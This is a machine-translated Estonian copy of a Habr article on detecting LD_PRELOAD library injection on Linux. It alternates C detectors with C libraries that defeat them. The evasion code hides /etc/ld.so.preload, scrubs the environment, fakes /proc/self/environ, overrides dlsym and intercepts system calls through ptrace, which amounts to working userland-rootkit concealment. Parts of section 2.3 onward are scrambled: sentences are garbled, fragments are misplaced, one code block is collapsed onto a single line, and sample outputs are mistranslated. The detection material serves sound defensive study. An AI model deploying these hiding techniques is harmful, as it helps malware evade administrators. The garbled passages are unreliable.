Otsimas LD_PRELOAD

See märkus kirjutati 2014. aastal, kuid sattusin just repressioonide alla Habr's ja seda ei avaldatud. Keelu ajal unustasin selle, kuid nüüd leidsin selle mustanditest. Algul mõtlesin kustutada, aga äkki on sellest kellelegi kasu.

Otsimas LD_PRELOAD

Kokkuvõttes on see väike reede administraatori lugemine teema otsimise "sisse lülitatud". LD_PRELOAD.

1. Väike kõrvalepõige neile, kes ei tunne funktsioonide asendamist.

Teised võivad otse minna punktini 2..

Alustame klassikalisest näitest:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Kompileerime ilma igasuguste lippudeta:

$ gcc ./ld_rand.c -o ld_rand

Ja nagu oodata oli, saame 5 juhuslikku arvu, mis on väiksemad kui 100:

$ ./ld_rand
53
93
48
57
20

Aga kujutame ette, et meil pole programmi lähtekoodi, kuid käitumist tuleb muuta.

Loome oma raamatukogu koos oma funktsiooni prototüübiga, näiteks:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

Ja nüüd on meie juhuslik valik täiesti ettearvatav:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

See trikk näeb veelgi muljetavaldavam välja, kui esmalt ekspordime oma raamatukogu kaudu

$ export LD_PRELOAD=$PWD/ld_rand.so

või täidame eelnevalt

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

ja seejärel käivitame programmi tavarežiimis. Me ei muutnud programmikoodis ühtegi rida, kuid selle käitumine sõltub nüüd meie raamatukogus olevast pisikest funktsioonist. Veelgi enam, programmikirjutamise hetkel ei eksisteerinud vale rand isegi mitte.

Mis siis sundis meie programmi kasutama vale? rand? Разберем по шагам.
Kui rakendus käivitatakse, laaditakse kindlad raamatukogud, mis sisaldavad programmile vajalikke funktsioone. Me saame neid vaadata, kasutades ldd:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

See nimekiri võib sõltuda OS versioonist, kuid seal peab kindlasti olema fail libc.so. Just see raamatukogu tagab süsteemi kutseid ja aluseks olevaid funktsioone, nagu open, malloc, printf jne. Meie rand on samuti nende hulgas. Veendume selles:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Vaadakem, kas raamatukogude kogum muutub, kui kasutame LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Kohusatud muutuja LD_PRELOAD sundib laadima meie ld_rand.so isegi, kuigi programm ei nõua seda. Ja kuna meie funktsioon "rand" laaditakse enne kui rand alates libc.so, siis ta on ka peamine.

Olgu, meil õnnestus asendada kodune funktsioon, kuid kuidas teha nii, et selle funktsionaalsus säiliks ja lisanduks teatud tegevusi. Muudame oma juhuslikku:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Siin meie "lisandina" trükime lihtsalt ühe tekstirea, pärast mida loome näitaja lähtestatud funktsioonile. rand. Saadame sellele funktsioonile aadressi dlsym — see on funktsioon raamatukogust libdl, mis leiab meie rand dünaamiliste raamatukogude kuhjas.järel kutsume selle funktsiooni ja tagastame selle väärtuse. Seega peame lisama «-ldl» kogumisel:

$ gcc -ldl -shared -fPIC . /o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Kurja koodi sissetoomine
66
Kurja koodi sissetoomine
28
Kurja koodi sissetoomine
93
Kurja koodi sissetoomine
93
Kurja koodi sissetoomine
95

Ja meie programm kasutab «kohalikku» rand, eelnevalt tehes mõned ebavajalikud toimingud.

2. Otsimise vaev

Teades potentsiaalsest ohust, tahame avastada, mis preload on toimunud. Loomulikult on parim tuvastamisviis selle sisestamine kernelisse, kuid mind huvitavad täpselt kasutusruumi määramise võimalused.

Järgnevad paarid toovad välja lahendused tuvastamiseks ja nende ümberlükkamise.

2.1. Alustame lihtsast

Nagu varem mainitud, saab laaditavat raamatukogu märkida keskkonnamuutuja kaudu LD_PRELOAD või kirjutades selle faili /etc/ld.so.preload. Loome kaks kõige lihtsamat detektorit.

Esimene — keskkonnamuutuja seadistamise kontrollimiseks:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

Teine — faili avamise kontrolimiseks:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Laadime raamatukogud:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Siin ja jätkuvalt [+] näitab eduka tuvastamise.
Seega [-] tähendab tuvastamise petmist.

Kuidas on selline detektor tõhus? Alustame keskkonnamuutujast:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

Sarnaselt vabaneme ka kontrollist open:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Jah, siin võivad kasutada ka muid viise faili juurde pääsemiseks, näiteks, open64, stat jne, kuid tegelikult on nende petmiseks vajalikke samu 5-10 koodirida.

2.2. Liikudes edasi

Ülalmainitust kasutasime getenv() väärtuse saamiseks, LD_PRELOAD, aga on ka rohkem «madala taseme» viise selle saavutamiseks ENV-muutujadesse. Me ei kasuta vahefunktsioone, vaid pöördume massiivi **environ, kus hoitakse keskkonna koopiaid:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Kuna me loeme andmeid otse mälust, ei saa seda kutsumist peata, ja meie undetect_getenv ei takista enam sissetungi tuvastamist.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Näib, et probleem on lahendatud? Kõik on alles alustatud.

Pärast programmi käivitamist ei ole muutuja väärtus enam mälus häkkeritele vajalik, seega võib selle lugeda ja eemaldada enne, kui mingeid käske täidetakse. Muidugi on mälus massiivi muutmine vähemalt halb programmeerimistava, aga kas see suudab peatada kedagi, kes ei soovi meile head? LD_PRELOAD Selle jaoks peame looma oma vale funktsiooni

init() , kus me interceptime seadistatudja edastame selle oma linkerile: LD_PRELOAD Käivitame, kontrollime:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

$ gcc -shared -fpic -ldl -Wl,-init,evil_init .\/ld_undetect_environ.c -o .\/ld_undetect_environ.so $ LD_PRELOAD=.\/ld_undetect_environ.so .\/detect_environ LD_PRELOAD (**environ) [-]

2.3. \/proc\/self\/

Kuid mälu ei ole viimane koht, kus varjatud asendust avastada,

, veel on olemas LD_PRELOAD. Alustame ilmsest /proc/Tegelikult on olemas universaalne lahendus /proc/{PID}/environ.

undetect’ile . Probleem seisneb "vale" käitumises **environ ja /proc/self/environunsetenv(env) õige variant.

void evil_init() { \/\// Esiteks salvestame praeguse LD_PRELOAD väärtuse static const char *ldpreload = "LD_PRELOAD"; int len = strlen(getenv(ldpreload)); evil_env = (char*) malloc(len+1); strcpy(evil_env, getenv(ldpreload)); int i; char env[] = "LD_PRELOAD"; if (environ != NULL) for (i = 0; environ[i] != NULL; i++) { char * pch; pch = strstr(environ[i],env); if(pch != NULL) { \/\// Vabastame praeguse LD_PRELOAD \/\//unsetenv(env); \/\// Selle asemel, et eemaldada, lihtsalt nullime meie muutuja for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' '; break; } } }

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  .\/ld_undetect_environ_2.c -o .\/ld_undetect_environ_2.so
$ (LD_PRELOAD=.\/ld_undetect_environ_2.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Kuid kujutame ette, et me ei leidnud seda ja

sisaldab "probleemseid" andmeid. /proc/self/environ Esmalt proovime meie eelmise "maskeerimise" abil:

$ (LD_PRELOAD=.\/ld_undetect_environ.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD LD_PRELOAD=.\/ld_undetect_environ.so

kasutab faili avamiseks endiselt

cat , seega on lahendus sarnane sellele, mida juba tehtud, punkti 2.1, kuid nüüd loome ajutise faili, kuhu kopeerime tõelise mälu väärtused ilma ridadega, mis sisaldavad open()Ja see etapp on möödas: LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

$ (LD_PRELOAD=.\/ld_undetect_proc_environ.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD $

Järgmine ilmselge koht —

. Pole mõtet seal pikalt viibida. Lahendus on täiesti identne eelmisele: kopeerime andmed failist, jättes välja read vahepeal /proc/self/mapsld.so libc.so ja 2.4. Chokepointi variant.

See lahendus meeldis mulle eriti oma lihtsuse tõttu. Võrdleme funktsioonide aadresse, mis laaditakse otse

, ja "NEXT" aadresse. libcLaadime teegi, mis interceptib

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

"open()" ja kontrollime: ja kontrollime:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

Väärastus osutus veelgi lihtsamaks:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Süsteemikutsed

Tundub, et sellega kõik, kuid kaevame veel veidi. Kui suuname süsteemikutse otseselt tuumale, võimaldab see meil vältida kogu püüdmisprotsessi. Lahendus allpool, nagu ikka, sõltub arhitektuurist (x86_64). Proovime rakendada avamise tuvastamiseks ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

Ja sellel ülesandel on lahendus. Väljavõte man‘a:

ptrace on vahend, mis võimaldab vanemal protsessil jälgida ja kontrollida teise protsessi käitumist, vaadata ja muuta selle andmeid ja registreid. Seda funktsiooni kasutatakse tavaliselt katkestuskohtade seadmiseks silumisprogrammis ja süsteemikutsude jälgimiseks.

Vanemprotsess saab jälgimise alustada, kutsudes esmalt funktsiooni fork(2), pärast mida võib tulemuseks olev tütarprotsess teostada PTRACE_TRACEME, millele (tavaliselt) järgneb exec(3) teostamine. Teisest küljest võib vanemprotsess alustada olemasoleva protsessi silumist, kasutades PTRACE_ATTACH.

Jälgimise ajal peatub tütarprotsess iga kord, kui ta saab signaali, isegi kui signaal on ignoreeritud. (Erandiks on SIGKILL, mis töötab tavapäraselt.) Vanemprotsess saab sellest teavitust wait(2) kutsumisel, pärast mida ta saab vaadata ja muuta tütarprotsessi sisu enne selle käivitamist. Pärast seda lubab vanemprotsess tütarel jätkata tööd, mõnel juhul ignoreerides saadetavat signaali või saates selle asemel teise signaali).

Seega on lahendus selles, et jälgime protsessi, peatades selle enne igat süsteemikutsumist ja suunates voolu vajadusel lõksufunktsiooni.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

Kontrollime:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Suur tänu

Charles Hubain
Chokepoint
ValdikSS
Philippe Teuwen
derhass

, kelle artiklid, algkood ja kommentaarid on teinud palju rohkem, et see tähelepanek siia jõuaks, kui mina.

Allikas: habr.com

Osta usaldusväärne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster